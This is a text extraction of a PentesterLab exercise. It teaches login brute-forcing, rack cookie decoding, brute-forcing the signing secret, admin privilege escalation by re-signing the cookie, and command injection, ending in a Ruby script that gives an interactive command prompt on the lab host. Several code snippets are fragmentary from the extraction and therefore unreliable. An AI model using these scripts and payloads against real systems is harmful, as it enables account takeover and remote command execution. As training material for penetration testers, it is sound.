Rack Cookies and Commands Injection
Rack Cookies and Commands Injection
INJECTION
By Louis Nyffenegger <[email protected]>
PentesterLab.com » Rack Cookie and Commands Injection
Table of Content
Table of Content 2
Introduction 5
About this exercise 7
Syntax of this course 7
License 7
The web application 8
Fingerprinting 10
Inspecting HTTP headers 10
Brute forcing an authentication page 13
Reading the login page 13
Finding good dictionaries 17
Problem with brute force 18
Brute force using Patator 18
Brute force using Ruby 20
Brute force in any other languages 24
Results of the brute force 25
Tampering a rack cookie 26
Introduction to rack cookies 26
Decoding a rack cookie 27
Tampering a rack cookie 33
Tampering a signed cookie 34
Brute forcing the secret 35
Resigning a cookie 38
Changing your cookie in your browser 39
Access to the administration pages and commands injection 41
Introduction to commands injection 41
Detecting commands injection 42
2/48
PentesterLab.com » Rack Cookie and Commands Injection
Exploiting commands injection 44
Automation 45
Conclusion 48
3/48
PentesterLab.com » Rack Cookie and Commands Injection
4/48
PentesterLab.com » Rack Cookie and Commands Injection
Introduction
This course details the tampering of rack cookies in a website and how an attacker
can use it to gain access to the administration interface. Then using this access and
after a privilege escalation, the attacker will be able to gain commands execution on
the server.
5/48
PentesterLab.com » Rack Cookie and Commands Injection
6/48
PentesterLab.com » Rack Cookie and Commands Injection
The green boxes provide tips and information if you want to go further.
License
7/48
PentesterLab.com » Rack Cookie and Commands Injection
$ ifconfig eth0
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0
inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:88 errors:0 dropped:0 overruns:0 frame:0
TX packets:77 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:10300 (10.0 KiB) TX bytes:10243 (10.0 KiB)
Interrupt:11 Base address:0x8000
8/48
PentesterLab.com » Rack Cookie and Commands Injection
In all the training, the hostname vulnerable is used for the vulnerable machine, you
can either replace it by the IP address of the machine, or you can just add an entry
to your host file with this name and the corresponding IP address. It can be easily
done by modifying:
9/48
PentesterLab.com » Rack Cookie and Commands Injection
Fingerprinting
The fingerprinting can be done using multiple tools. First by just using a browser, it's
possible to detect that the application is written in PHP.
$ telnet vulnerable 80
Where:
10/48
PentesterLab.com » Rack Cookie and Commands Injection
80 is the TCP port used by the web application (80 is the default
value for HTTP).
GET / HTTP/1.1
Host: vulnerable
It's possible to retrieve information on the version of the web server and the
technology used just by observing the HTTP headers sent back by the server:
11/48
PentesterLab.com » Rack Cookie and Commands Injection
Here, we can see that the application is running on a Debian server using Apache
version 2.2.16 and Phusion Passenger 3.0.12. Phusion is probably the most
common way to host Ruby/Rack based applications. We can also see that the
application redirects us to a login page with a HTTP 302 and the Location header
(Location: http://vulnerable/login).
If the application is only available over HTTPs, telnet or netcat won't be able to
communicate with the server, openssl needs to be used:
Where:
12/48
PentesterLab.com » Rack Cookie and Commands Injection
When you can only see a login page on a web application, you don't have much
choice but to try to find a default account to try to go further.
We will see how it is possible to quickly and easily brute force this login page.
13/48
PentesterLab.com » Rack Cookie and Commands Injection
Here we can see that the web page expected a username, it gives us a good idea of
what the format of this value has to be. Some other websites ask for login ID or
emails, keeping that in mind will cut down your number of attempts.
14/48
PentesterLab.com » Rack Cookie and Commands Injection
Based on this information, we can manually build the query that your browser will
send to the website:
login=pentester&password=test
16/48
PentesterLab.com » Rack Cookie and Commands Injection
After sending the request in Burp Suite, we can see that the response is a redirect
to the page /login when we send invalid credentials.
For the rest of the exercise, you can use a small dictionary containing the following
words:
17/48
PentesterLab.com » Rack Cookie and Commands Injection
$ cat dico.txt
secret
pentesterlab
admin
test
password
Here, we will need to tell patator how to perform the brute force, we can use the
dictionary big.txt from wfuzz for example. We can then use the following common
line to find an account where login is identical to the password:
18/48
PentesterLab.com » Rack Cookie and Commands Injection
Where:
19/48
PentesterLab.com » Rack Cookie and Commands Injection
There is a lot of other ways and options to use in patator, I strongly recommend you
read the README available in the script to discover other modules and options.
20/48
PentesterLab.com » Rack Cookie and Commands Injection
Here, we are going to use a Proxy to perform the HTTP request. This way we will be
able to debug the script. The following code illustrates how to perform the POST
request and retrieve the Location: header:
require "net/http"
require "uri"
require "pp"
# Remote host
URL = "http://vulnerable/login"
# Proxy configuration
PROXY = "127.0.0.1"
PROXY_PORT = "18080"
creds = "admin"
# HTTP request
resp = Net::HTTP::Proxy(PROXY, PROXY_PORT).start(url.host, url.port) do |http|
resp = http.post(url.request_uri, "login=#{creds}&password=#{creds}")
end
# Print the Location header of the response
puts resp.header['Location']
21/48
PentesterLab.com » Rack Cookie and Commands Injection
Now that we know how to send a request and check the result, we just need to read
a file do a loop for each element:
22/48
PentesterLab.com » Rack Cookie and Commands Injection
require "net/http"
require "uri"
require "pp"
# Remote host
URL = "http://vulnerable/login"
# Proxy configuration
PROXY = "127.0.0.1"
PROXY_PORT = "18080"
File.readlines(ARGV[0]).each do |c|
c.chomp!
# HTTP request
resp = Net::HTTP::Proxy(PROXY, PROXY_PORT).start(url.host, url.port) do
|http|
resp = http.post(url.request_uri, "login=#{c}&password=#{c}")
end
if resp.header['Location'] !~ /login/
puts "Valid credentials found: #{c}/#{c}"
puts resp.header['Set-Cookie']
exit
end
end
The most common mistake (at least for me) is to keep the
end of line `\n` when reading from a file. Make sure you
remove it using the `chomp` function in Ruby.
From that you can rewrite the ruby code from the previous section in your favourite
language.
24/48
PentesterLab.com » Rack Cookie and Commands Injection
You can now log in the application and see what is happening.
25/48
PentesterLab.com » Rack Cookie and Commands Injection
When you log in and inspect the HTTP traffic you can see that the server sends
back a cookie named rack.session. We are going to see how we can decode and
modify this cookie to escalate our privileges.
A string:
Set-Cookie:
rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiJFNWE4OWJhZmNhNDc2MGY1MTA0
MTJm%0AZTM0MDJlZjE3MzAxN2ZjMzBjYWRmMWNiYTgwNGYxNzE3NTI1NTgxNjZmYw%3D%
3D%0A; path=/; HttpOnly
26/48
PentesterLab.com » Rack Cookie and Commands Injection
Set-Cookie:
rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiJFYmJiMTRiODI3YjdlODg2OWMw
NWY3%0ANjdmMGNlZjg2YjVkN2VjMDQxN2ZlYTU0YWM3ZTI5OTUwNTY3MjgzMWI3Yg%3D%
3D%0A--61215fa13942903faa4652f73e613aa0ced6db2d; path=/; HttpOnly
If the signature is not used, the cookie can easily be tampered. If the signature is
used, the cookie can only be tampered if the secret used to sign the cookies can be
guessed. In both cases, the cookie can easily be decoded and the information
accessed.
27/48
PentesterLab.com » Rack Cookie and Commands Injection
Set-Cookie:
rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiJFYmJiMTRiODI3YjdlODg2OWMw
NWY3%0ANjdmMGNlZjg2YjVkN2VjMDQxN2ZlYTU0YWM3ZTI5OTUwNTY3MjgzMWI3Yg%3D%
3D%0A--61215fa13942903faa4652f73e613aa0ced6db2d; path=/; HttpOnly
The value will be different since all cookies sent are unique.
The cookie contains a `session_id` that changes for each
new cookie created. However, the value should start by `BA`.
The source code illustrating this behaviour can be found in rack in the file
lib/rack/session/cookie.rb or on the project repository.
1. extracted the cookie value: remove the cookie's name and options
and the signature;
2. decode this value using URL encoding and base64;
28/48
PentesterLab.com » Rack Cookie and Commands Injection
29/48
PentesterLab.com » Rack Cookie and Commands Injection
require "net/http"
require "uri"
require 'pp'
require 'base64'
# Remote host
URL = "http://vulnerable/login"
# Proxy configuration
PROXY = "127.0.0.1"
PROXY_PORT = "18080"
creds = "test"
# Authentication
resp = Net::HTTP::Proxy(PROXY, PROXY_PORT).start(url.host, url.port) do |http|
http.post(url.request_uri, "login=#{creds}&password=#{creds}")
end
object = Marshal.load(decoded)
pp object
rescue ArgumentError => e
puts "ERROR: "+e.to_s
end
$ ruby decode1.rb
ERROR: undefined class/module User
When decoding the object, Ruby can't find a reference to the class, we can add a
stub to this class by declaring it earlier in the file:
class User
end
$ ruby decode2.rb
ERROR: undefined class/module DataMapper::
We have now another error, since the object is propably a serialised DataMapper
object (database abstraction library for Ruby).
31/48
PentesterLab.com » Rack Cookie and Commands Injection
require 'data_mapper'
If you are not using the liveCD, you will probably need to install DataMappper on
your system:
$ ruby decode3.rb
ERROR: undefined class/module DataMapper::Adapters::SqliteAdapter
Another error message, after some googling, we can find that the problem is that
DataMapper can't find the adapter to the database, we can create a "fake" one
using the following code:
DataMapper.setup(:default,'sqlite3::memory')
32/48
PentesterLab.com » Rack Cookie and Commands Injection
$ ruby decode4.rb
{"session_id"=>
"af079d20f830683906ce30741fcee892ba540493c282ba48292477e5cf394305",
"user"=>
#<User:0x0000000303fa18
@_persistence_state=
#<DataMapper::Resource::PersistenceState::Clean:0x0000000303f900
@model=User,
@resource=#<User:0x0000000303fa18 ...>>,
@_repository=#<DataMapper::Repository @name=default>,
@admin=false,
@id=2,
@login="test",
@password="098f6bcd4621d373cade4e832627b4f6">}
By doing these operations, we can now access the information provided by the
server.
33/48
PentesterLab.com » Rack Cookie and Commands Injection
To tamper a unsigned rack cookie, we will need to decode the cookie, tamper it and
then re-encode it. We just saw how to decode the cookie, now we just need to
modify the attribute and re-encode it. First we will need to add a line to the User
class to be able to access the admin attribute:
class User
attr_accessor :admin
end
Once this is done, we can modify the cookie and re-encode it:
object = Marshal.load(decoded)
pp object
object["user"].admin = true
nc = Base64.encode64(Marshal.dump(object))
pp nc
We are just doing the opposite operations of the ones we used to decode the
cookie.
However, if we send back the cookie to the server, this cookie won't get accepted
and the server will redirect us to the login page... we need to find a way to recover
the secret used to sign the cookie.
To brute force the cookie, we are going to create a brute force tool to try to find the
correct value. To do that, we just need to copy the code used by the rack library (in
the file lib/rack/session/cookie.rb) or on the project repository and iterate over a
dictionary of words.
Now that we know how to sign a cookie with a given secret, we are able to iterate
over the file and check if we can find a secret that will generate the correct signature
(using a cookie sent back by the application which is valid by definition):
35/48
PentesterLab.com » Rack Cookie and Commands Injection
require 'openssl'
require 'uri'
require 'pp'
COOKIES=
"BAh7B0kiD3Nlc3Npb25faWQGOgZFRiJFNjYzYjQ1YTQxZDk1ZGZiMTBiZTA1%0A
MjNmMjA2ZGNjOWZiMGUxZDU0MGM1NWQwYzI1MDA5M2FlNzc4YjNiYzYwNEki
%0ACXVzZXIGOwBGbzoJVXNlcgs6GEBfcGVyc2lzdGVuY2Vfc3RhdGVvOjJEYXRh%
0ATWFwcGVyOjpSZXNvdXJjZTo6UGVyc2lzdGVuY2VTdGF0ZTo6Q2xlYW4HOg5A
%0AcmVzb3VyY2VACToLQG1vZGVsYwlVc2VyOgtAbG9naW5JIgl0ZXN0BjsAVDoL
%0AQGFkbWluRjoOQHBhc3N3b3JkSSIlMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgz
%0AMjYyN2I0ZjYGOwBUOghAaWRpBzoRQF9yZXBvc2l0b3J5bzobRGF0YU1hcHBl
%0Acjo6UmVwb3NpdG9yeQg6CkBuYW1lOgxkZWZhdWx0OhNAaWRlbnRpdHlfbW
Fw%0Ac3sGQAtDOhxEYXRhTWFwcGVyOjpJZGVudGl0eU1hcHsGWwZpB0AJOg1A
YWRh%0AcHRlcm86KERhdGFNYXBwZXI6OkFkYXB0ZXJzOjpTcWxpdGVBZGFwd
GVyDTsR%0AOxI6DUBvcHRpb25zQzoVRGF0YU1hcHBlcjo6TWFzaHsOSSILc2NoZ
W1lBjsA%0ARkkiC3NxbGl0ZQY7AEZJIgl1c2VyBjsARjBJIg1wYXNzd29yZAY7AEYw
SSIJ%0AaG9zdAY7AEZJIgAGOwBGSSIJcG9ydAY7AEYwSSIKcXVlcnkGOwBGMEkiD
WZy%0AYWdtZW50BjsARjBJIgxhZGFwdGVyBjsARkkiDHNxbGl0ZTMGOwBGSSIJc
GF0%0AaAY7AEZJIhAvdG1wL2Rucy5kYgY7AEY6IEByZXNvdXJjZV9uYW1pbmdfY2
9u%0AdmVudGlvbm1GRGF0YU1hcHBlcjo6TmFtaW5nQ29udmVudGlvbnM6OlJlc29
1%0AcmNlOjpVbmRlcnNjb3JlZEFuZFBsdXJhbGl6ZWQ6HUBmaWVsZF9uYW1pbmd
f%0AY29udmVudGlvbm02RGF0YU1hcHBlcjo6TmFtaW5nQ29udmVudGlvbnM6OkZ
p%0AZWxkOjpVbmRlcnNjb3JlZDoUQG5vcm1hbGl6ZWRfdXJpbzoVRGF0YU9iamVj
%0AdHM6OlVSSQ86DEBzY2hlbWVAHjoPQHN1YnNjaGVtZTA6CkB1c2VyMDsNMD
oK%0AQGhvc3RAGToKQHBvcnQwOgpAcGF0aEAgOgtAcXVlcnlDOxh7DkAUQBVA
FjBA%0AFzBAGEAZQBowQBswQBwwQB1AHkAfQCA6DkBmcmFnbWVudDA6DkB
yZWxhdGl2%0AZTA6FEBzcWxpdGVfdmVyc2lvbkkiCjMuNy4zBjsAVDojQHN1cHBvc
nRzX2Ry%0Ab3BfdGFibGVfaWZfZXhpc3RzVDoVQHN1cHBvcnRzX3NlcmlhbFQ%3
36/48
PentesterLab.com » Rack Cookie and Commands Injection
D%0A--61b269ef4410ef84c529196aa4ebbb85193441d8"
value = URI.decode(value)
File.readlines(ARGV[0]).each do |c|
c.chomp!
if sign(value, c) == signed
puts "Secret found: "+c
exit
end
end
37/48
PentesterLab.com » Rack Cookie and Commands Injection
We now have the secret and can resign any cookies for this application.
Resigning a cookie
Now that we know the secret, we can resign the cookie using the brute-force code:
# before
pp object
object["user"].admin = true
# after
pp object
# new cookie:
nc =Base64.encode64(Marshal.dump(object))
ns = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, "secret", nc)
Using Ruby, we can now connect to the website to check if the new cookie get
accepted:
38/48
PentesterLab.com » Rack Cookie and Commands Injection
If you're using Firefox, you can use the following extension to modify your cookies:
Cookie manager +.
After reloading the page, you should be able to see the "Admin version" of the
website:
39/48
PentesterLab.com » Rack Cookie and Commands Injection
40/48
PentesterLab.com » Rack Cookie and Commands Injection
41/48
PentesterLab.com » Rack Cookie and Commands Injection
Sometime the result of the command will be available in the page returned by the
server, sometime it won't. You can redirect the result of this command to a file
(using > result.txt and try to retrieve the file content afterwards (for example by
creating the file inside the web root of the server).
If you don't see any changes, you can also try to play with the time taken by the
server to answer. For example, you can use the following commands to create a
delay in the server's response:
ping -c 4 127.0.0.1
sleep 5
If you see a time delay, it's likely that you can inject commands and run arbitrary
commands on the remote server.
42/48
PentesterLab.com » Rack Cookie and Commands Injection
Here, we can try to inject in the IP address or in the hostname when we create or
update a DNS record. If you try to add uname for example in the IP address
parameter, the following error is sent back by the application:
We can now test this value by using a proxy and injecting a new line (encoded as
%0a) and an arbitrary command in the request:
43/48
PentesterLab.com » Rack Cookie and Commands Injection
However, if you try to inject a command that returns more than one word, you can
see that only the first value is returned.
A first way to do it, is to filter the first word if the command returns only one word per
line. For example, you can run ls, that will return Gemfile as a first result. You can
then run ls | grep -v Gemfile, that will return config.ru. You can keep going
until you have all results, however you're likely to hit the size limit on the parameter
and get back to the default error message.
44/48
PentesterLab.com » Rack Cookie and Commands Injection
Using the first command, we saw that (by running pwd) the application is located in
/var/www. As the application is a Rack based application, it's more than likely that a
public repository exists (mandatory as far as I know). We can use this information to
run commands and get the result in a file in /var/www/public or just copy files to
this repository.
Automation
For each command we want to run, we need to do two requests manually, it is a bit
annoying and slow. We can build a ruby script that will take our command, run it
and then retrieve and display the response automatically.
45/48
PentesterLab.com » Rack Cookie and Commands Injection
require "net/http"
require "uri"
require 'pp'
# Remote host
URL = "http://vulnerable/"
# Proxy configuration
PROXY = "127.0.0.1"
PROXY_PORT = "18080"
cookie = ARGV[0]
while 1
print "cmd> "
cmd = STDIN.readline
cmd.chomp!
# HTTP request
post = "id=1&name=webmail&ttl=600&ip=192.168.3.10%0a"
post += "`#{URI.encode(cmd)}+>+/var/www/public/result.txt`"
resp = Net::HTTP::Proxy(PROXY, PROXY_PORT).start(url.host, url.port) do
|http|
http.post("/update", post, {"Cookie" => "rack.session="+cookie} )
end
46/48
PentesterLab.com » Rack Cookie and Commands Injection
if resp.header['Location'] =~ /login/
puts "You have been logged out"
exit
elsif resp.body =~ /Invalid data provided/
puts "Error processing the command"
else
resp = Net::HTTP::Proxy(PROXY, PROXY_PORT).start(url.host, url.port) do
|http|
http.get("/result.txt", )
end
puts resp.body
end
end
$ ruby automation.rb
"BAh7B0kiD3Nlc............6GEBfcGVyc2lzdGVuY2Vf%0AbGF0aXZlMDoUQHNxbGl0
ZV92ZXJzaW9uSSIKMy43LjMGOwBUOiNAc3VwcG9y%0AdHNfZHJvcF90YWJsZV9
pZl9leGlzdHNUOhVAc3VwcG9ydHNfc2VyaWFsVA%3D%3D%0A--
553726173b18abd20886c7e4f22b9898520c90d8"
cmd> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cmd> uname -a
uid=33(www-data) gid=33(www-data) groups=33(www-data)
From there, you can get a shell using our previous exercise on post-exploitation.
47/48
PentesterLab.com » Rack Cookie and Commands Injection
Conclusion
This exercise showed you how to tamper a rack cookie to perform a privilege
escalation. Once in the "Admin version", more functionalities are often available and
more vulnerabilities as well.
This exercise is based on a common issue with cookies, a similar vulnerability was
one of the challenges during the Defcon CTF qualifications in 2011 and during the
Stripe CTF. The commands execution is based on an issue found in a commercial
product. Over the years, I have seen this kind of issue (or something really similar)
many times during penetration testing.
48/48